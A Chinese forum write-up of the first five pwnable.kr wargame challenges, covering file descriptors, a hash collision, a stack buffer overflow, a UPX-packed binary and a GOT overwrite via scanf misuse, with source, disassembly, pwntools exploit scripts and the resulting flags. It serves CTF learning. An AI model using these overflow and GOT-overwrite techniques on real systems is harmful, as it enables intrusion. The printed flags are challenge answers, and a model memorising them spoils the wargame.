吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 28201|回复: 25
收起左侧

[漏洞分析] pwnable.kr网站pwn练习第一个

  [复制链接]
Bin_LmmH_C 发表于 2016-11-11 20:37
本帖最后由 Bin_LmmH_C 于 2016-11-15 14:20 编辑

学习了一年多的逆向,慢慢地接触了pwn,最近在学习pwn,找到了一个网址pwnable.kr
在帖子里记录自己做题的过程。
                                               ----Bin_LmmH_C
首先打开网址,看第一个题目fd
Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link: https://www.youtube.com/watch?v=blAxTfcW9VU

ssh fd@pwnable.kr -p2222 (pw:guest)
ssh连接,可以看到flag, fd(elf可执行文件),和fd.c三个文件

打开fd.c查看源码
fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}

可以看到如果要获得flag(我们最终的目标,玩过ctf的都知道)
知道,关键点就是read函数的对buf缓冲区的起始位置要为0
atoi()将字符串转换为整数,可以知道输入的字符串为0x1234  转换为10进制就是4660,注意主力的参数是命令行参数 所以执行./fd 4660
然后根据题目提示输入LETMEWIN就能够得到flag ,在网站上提交flag就可以获得相应的分数
第一题就到这里了。后续还会继续的


2016/11/13 第二个题目collision
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)
一样的,先ssh连接过去,看到三个文件包括源代码
查看源码
col@ubuntu:~$ ls
col  col.c  flag
col@ubuntu:~$ cat col.c
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;  //关键数字
unsigned long check_password(const char* p){
        int* ip = (int*)p;   //这里将输入的字符串指针转换为整型指针
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip;  //这里累加5个数
        }
        return res;   //返回累加和
}

int main(int argc, char* argv[]){
        if(argc<2){  //没有输入参数的过滤
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){  //从这里知道我们的参数字符串长度为20个字符
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){  //如果累加和相等就能够执行对应的命令,输出flag
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");   //输出错误
        return 0;
}

从上面知道我们的参数长度为20,check_password将这20个字符分为5个数,所以我们只要计算5个数之和等于hashcode就行了
又因为我们输入的字符在在内存中是16进制保存的。0x21DD09EC(16) ==  568134124(10);
这里我们不能简单的提供参数"\x21\xDD\x09\xEC"+"\x00"*16就行了,因为长度的问题,所以我们拆分这个数
我们可以用一个大数加上后面四个相等的数就行了,即A+4*B的和就行了。
假定B为"\x01\x01\x01\x01",得到B = 16843009(10)这个数,将hashcode-4*B就可以的到A的值了,将A的值转换为4个16进制的数据,
得到A = "\xe8\x05\xd9\x1d", 所以我们可以提供参数"\xe8\x05\xd9\x1d\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\"

利用pwntools这个包,简单的写提供一个参数给程序就能成功了

>>> from pwn import *
>>> s = '\xe8\x05\xd9\x1d'
>>> s = s + '\x01'*16
>>> s
'\xe8\x05\xd9\x1d\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'
>>> len(s)
20
>>> e = process(['./col',s])
[x] Starting local process './col'
[+] Starting local process './col': Done
>>> e.recvline()
Process './col' stopped with exit code 0
'daddy! I just managed to create a hash collision :)\n'

提交上面的flag就能够得到相应的分数了。


2016/11/13    pwnbale 第三题 bof
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

wget 将两个文件下载下来,并且根据提示知道是栈溢出,所以直接阅读代码看一下
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);        // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}
从源代码我们知道溢出就是利用overflowme这个缓冲区,更改key的值,然后让比较成功,系统执行shell命令,可以看到flag,输出flag了,
我们先反汇编看一下
objdump -d bof


0000062c <func>:
62c:        55                           push   %ebp
62d:        89 e5                        mov    %esp,%ebp
62f:        83 ec 48                     sub    $0x48,%esp
632:        65 a1 14 00 00 00            mov    %gs:0x14,%eax  // 这里是金丝雀保护的,canary,检测栈破坏
638:        89 45 f4                     mov    %eax,-0xc(%ebp)
63b:        31 c0                        xor    %eax,%eax
63d:        c7 04 24 8c 07 00 00         movl   $0x78c,(%esp)
644:        e8 fc ff ff ff               call   645 <func+0x19>
649:        8d 45 d4                     lea    -0x2c(%ebp),%eax   // 看到这里我们知道overflowme到ebp的地址空间大小为0x2c  = 44个字节
64c:        89 04 24                     mov    %eax,(%esp)
64f:        e8 fc ff ff ff               call   650 <func+0x24>
654:        81 7d 08 be ba fe ca         cmpl   $0xcafebabe,0x8(%ebp)   //这里就是那个关键的if比较了,看到离ebp有8个字节
65b:        75 0e                        jne    66b <func+0x3f>
65d:        c7 04 24 9b 07 00 00         movl   $0x79b,(%esp)
664:        e8 fc ff ff ff               call   665 <func+0x39>
669:        eb 0c                        jmp    677 <func+0x4b>
66b:        c7 04 24 a3 07 00 00         movl   $0x7a3,(%esp)
672:        e8 fc ff ff ff               call   673 <func+0x47>
677:        8b 45 f4                     mov    -0xc(%ebp),%eax
67a:        65 33 05 14 00 00 00         xor    %gs:0x14,%eax
681:        74 05                        je     688 <func+0x5c>
683:        e8 fc ff ff ff               call   684 <func+0x58>


综合上面的分析,我们知道只要填充52个字节的字符加上关键的0xcafebabe就可以比较成功了,
一个简单的python 代码
import os
import sys
from pwn import *

def dec():
    #we konw that the stack spack is 48 bytes, and 8 ebp and return address and last 4 is key
    #and it has canary protect, so we had to
    payload = '\x90'*52+'\xbe\xba\xfe\xca' // 注意环境为小端序
    p = remote('pwnable.kr', 9000)
    #print(p.recvline())
    #send the payload
    p.sendline(payload)
    #interacting with the shell
    p.interactive()

if __name__ == '__main__':
    dec()
得到shell,cat flag就可以得到flag了。


第四题,这道题并不是pwn的题目,
Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary这是题目描述
看到hint知道应该是加壳的。
xxd flag | tail命令看一下,看到程序后面的一系列数据,
root@kali:~/pwnable/flag# xxd flag | tail
0051d20: 77c4 8a1d b0f1 d302 6973 b0a0 c023 8d6d  w.......is...#.m
0051d30: 616b 424e 9948 2c86 8ec3 0232 2a45 db17  akBN.H,....2*E..
0051d40: 0981 0be3 b91f 2656 2211 c349 4608 1fb8  ......&V"..IF...
0051d50: 3b9d c5c0 e820 1e5f 5f00 01a2 30b0 9943  ;.... .__...0..C
0051d60: e968 58b1 f464 65e3 b58b 137a 54de 7375  .hX..de....zT.su
0051d70: 6022 5d52 d7e5 00bb c625 8581 116d 4992  `"]R.....%...mI.
0051d80: 9041 9f00 a092 24ff 0000 0000 5550 5821  .A....$.....UPX!
0051d90: 0000 0000 5550 5821 0d16 0807 19cc 204a  ....UPX!...... J
0051da0: dbd8 21c5 3145 0100 5e70 0000 217c 0d00  ..!.1E..^p..!|..
0051db0: 4919 0089 bc00 0000                      I.......


可以看到是upx加壳,
这里可以使用KALI下面的upx来脱壳
upx -d flag
就可以得到脱壳后的ELF文件了,
使用IDA分析一些这个文件
var_8= qword ptr -8

push    rbp
mov     rbp, rsp
sub     rsp, 10h
mov     edi, offset aIWillMallocAnd ; "I will malloc() and strcpy the flag the"...
call    puts            ; 输出提示语句
mov     edi, 64h
call    malloc          ; 分配内存
mov     [rbp+var_8], rax
mov     rdx, cs:flag    ; 从这里就知道flag了
mov     rax, [rbp+var_8]
mov     rsi, rdx
mov     rdi, rax
call    sub_400320  
mov     eax, 0
leave
retn
main endp

看到有一个flag的标识,所以跳转到对应的地方,就可以得到flag了。
"UPX...? sounds like a delivery service :)"提交就行了。好了。


2016/11/15  第五题 passcode
题目描述:Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

ssh连接进去,看到三个文件一样的是flag, passcode可执行文件和passcode.c源文件,
根据提示,说编译没有错误,就用gcc编译一下,编译了之后,发现了两个警告,
passcode.c: In function ‘login’:
passcode.c:9:8: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
  scanf("%d", passcode1);
        ^
passcode.c:14:15: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
         scanf("%d", passcode2);
从这里知道这个程序这里出现了问题,就是输入的变量没有使用取地址符号&,这会导致读入数据的时候,scanf会把这个变量中的值
当成存储地址来存放数据,

我们看一下源代码 cat passcode.c
passcode@ubuntu:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1); // 这里有警告
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);  // 这里有警告

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;       
}

在main函数中,我们看到welcome和login函数是连续执行的,根据函数调用或者自己反汇编一下就知道,这两个函数的ebp是相同的。
在welcome函数中输入了一串100字节的name,
在login中要求我们输入的passcode1和passcode2和对应的值比较,成功,然后就可以了,我想,我们可不可以直接通过name
这个缓冲区来改变passcode1和passcode2呢?。。然而这个程序是有canary保护的,而且程序是有错误的。这里name只能修改到passcode1。


所以我们这里就是利用scanf中的输入问题,就是上面出现警告的地方,我们可以看到程序,使用了一些函数
passcode@ubuntu:~$ objdump -T passcode
passcode:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000      DF *UND*        00000000  GLIBC_2.0   printf
00000000      DF *UND*        00000000  GLIBC_2.0   fflush
00000000      DF *UND*        00000000  GLIBC_2.4   __stack_chk_fail
00000000      DF *UND*        00000000  GLIBC_2.0   puts
00000000      DF *UND*        00000000  GLIBC_2.0   system
00000000  w   D  *UND*        00000000              __gmon_start__
00000000      DF *UND*        00000000  GLIBC_2.0   exit
00000000      DF *UND*        00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*        00000000  GLIBC_2.7   __isoc99_scanf
0804876c g    DO .rodata        00000004  Base        _IO_stdin_used
0804a02c g    DO .bss        00000004  GLIBC_2.0   stdin




想到这里,我们可以利用name来修改passcode1的值,将passcode1中的值改为某一个函数的地址,这里我们选择printf这个函数,一时got表可写
二是在login函数中,printf就在scanf("%d", passcode1)后面,修改之后,后面执行输入语句的时候,我们将printf在got中的地址给改变掉,改成
login函数中system("/bin/sh")这个指令的地址,修改完成之后,当程序执行printf函数的时候,会到got表中找地址,但是已经被我们修改了,
我们看一下printf在got中的地址。。
passcode@ubuntu:~$ objdump -R passcode


passcode:     file format elf32-i386


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0  // 前面的地址就是printf的地址了
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7



反汇编passcode看一些login函数
08048564 <login>:
8048564:        55                           push   %ebp
8048565:        89 e5                        mov    %esp,%ebp
8048567:        83 ec 28                     sub    $0x28,%esp
804856a:        b8 70 87 04 08               mov    $0x8048770,%eax
804856f:        89 04 24                     mov    %eax,(%esp)
8048572:        e8 a9 fe ff ff               call   8048420 <printf@plt>
8048577:        b8 83 87 04 08               mov    $0x8048783,%eax
804857c:        8b 55 f0                     mov    -0x10(%ebp),%edx  // 这里是passcode1的地址
804857f:        89 54 24 04                  mov    %edx,0x4(%esp)
8048583:        89 04 24                     mov    %eax,(%esp)
8048586:        e8 15 ff ff ff               call   80484a0 <__isoc99_scanf@plt>
804858b:        a1 2c a0 04 08               mov    0x804a02c,%eax
8048590:        89 04 24                     mov    %eax,(%esp)
8048593:        e8 98 fe ff ff               call   8048430 <fflush@plt>
8048598:        b8 86 87 04 08               mov    $0x8048786,%eax
804859d:        89 04 24                     mov    %eax,(%esp)
80485a0:        e8 7b fe ff ff               call   8048420 <printf@plt>
80485a5:        b8 83 87 04 08               mov    $0x8048783,%eax
80485aa:        8b 55 f4                     mov    -0xc(%ebp),%edx
80485ad:        89 54 24 04                  mov    %edx,0x4(%esp)
80485b1:        89 04 24                     mov    %eax,(%esp)
80485b4:        e8 e7 fe ff ff               call   80484a0 <__isoc99_scanf@plt>
80485b9:        c7 04 24 99 87 04 08         movl   $0x8048799,(%esp)
80485c0:        e8 8b fe ff ff               call   8048450 <puts@plt>
80485c5:        81 7d f0 e6 28 05 00         cmpl   $0x528e6,-0x10(%ebp)
80485cc:        75 23                        jne    80485f1 <login+0x8d>
80485ce:        81 7d f4 c9 07 cc 00         cmpl   $0xcc07c9,-0xc(%ebp)
80485d5:        75 1a                        jne    80485f1 <login+0x8d>
80485d7:        c7 04 24 a5 87 04 08         movl   $0x80487a5,(%esp)
80485de:        e8 6d fe ff ff               call   8048450 <puts@plt>
80485e3:        c7 04 24 af 87 04 08         movl   $0x80487af,(%esp)  // 看到这里执行system("/bin/sh")命令
80485ea:        e8 71 fe ff ff               call   8048460 <system@plt>
80485ef:        c9                           leave  
80485f0:        c3                           ret   
80485f1:        c7 04 24 bd 87 04 08         movl   $0x80487bd,(%esp)
80485f8:        e8 53 fe ff ff               call   8048450 <puts@plt>
80485fd:        c7 04 24 00 00 00 00         movl   $0x0,(%esp)
8048604:        e8 77 fe ff ff               call   8048480 <exit@plt>

08048609 <welcome>:
8048609:        55                           push   %ebp
804860a:        89 e5                        mov    %esp,%ebp
804860c:        81 ec 88 00 00 00            sub    $0x88,%esp
8048612:        65 a1 14 00 00 00            mov    %gs:0x14,%eax
8048618:        89 45 f4                     mov    %eax,-0xc(%ebp)
804861b:        31 c0                        xor    %eax,%eax
804861d:        b8 cb 87 04 08               mov    $0x80487cb,%eax
8048622:        89 04 24                     mov    %eax,(%esp)
8048625:        e8 f6 fd ff ff               call   8048420 <printf@plt>
804862a:        b8 dd 87 04 08               mov    $0x80487dd,%eax
804862f:        8d 55 90                     lea    -0x70(%ebp),%edx // 这里就是name开始输入的地方。
8048632:        89 54 24 04                  mov    %edx,0x4(%esp)
8048636:        89 04 24                     mov    %eax,(%esp)
8048639:        e8 62 fe ff ff               call   80484a0 <__isoc99_scanf@plt>
804863e:        b8 e3 87 04 08               mov    $0x80487e3,%eax
8048643:        8d 55 90                     lea    -0x70(%ebp),%edx


计算0x70-0x10 == 0x60 == 96,,所以我们填充96个字节的字符,再填充4个字节就是passcode1中的值了,这里我们填充的是printf的地址
0x0804a000, 然后还有输入的数就是0x80485e3,因为scanf是使用%d来输入的,所以这里将0x80485e3转换为10进制数据 == 134514147
所以构造payload = 'c'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n'

passcode@ubuntu:~$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> payload = 'c'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n'
>>> e = process('./passcode')
[x] Starting local process './passcode'
[+] Starting local process './passcode': Done
>>> e.sendline(payload)
>>> e.recvline()
  • Process './passcode' stopped with exit code 0
    "Toddler's Secure Login System 1.0 beta.\n"
    >>> e.recvline()
    'enter you name : Welcome cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc!\n'
    >>> e.recvline()
    'Sorry mom.. I got confused about scanf usage :(\n'

    就可以看到上面的这个sorry的flag了,提交就行了,这里用到的叫做got复写技术。。。还有相关的got和plt的知识请搜索,好了。。

  • 1.png

    免费评分

    参与人数 2吾爱币 +2 热心值 +2 收起 理由
    skeep + 1 + 1 用心讨论,共获提升!
    HW606 + 1 + 1 热心回复!

    查看全部评分

    发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

     楼主| Bin_LmmH_C 发表于 2016-11-16 19:19
    Vividz 发表于 2016-11-16 14:24
    我也是最近搞pwn的 做题进度和楼主差不多 楼主写的很详细呐 支持一下~

    共同学习,加油
    bjdsj 发表于 2016-11-13 09:15
     楼主| Bin_LmmH_C 发表于 2016-11-13 22:13
    pwn2017 发表于 2016-11-14 14:05
    支持一个、加油楼主。
    guiguzi 发表于 2016-11-14 17:44
    老了,该好好学习了
    Vividz 发表于 2016-11-16 14:24
    我也是最近搞pwn的 做题进度和楼主差不多 楼主写的很详细呐 支持一下~
    xiaohong 发表于 2017-2-14 08:22
    共同学习,支持你、加油楼主。
    watchdoge 发表于 2017-3-21 14:27
    楼主有做过pwnable.tw么
    lxh1201 发表于 2017-3-26 15:55
    楼主加油
    您需要登录后才可以回帖 登录 | 注册[Register]

    本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

    快速回复 收藏帖子 返回列表 搜索

    RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

    GMT+8, 2024-3-28 22:53

    Powered by Discuz!

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表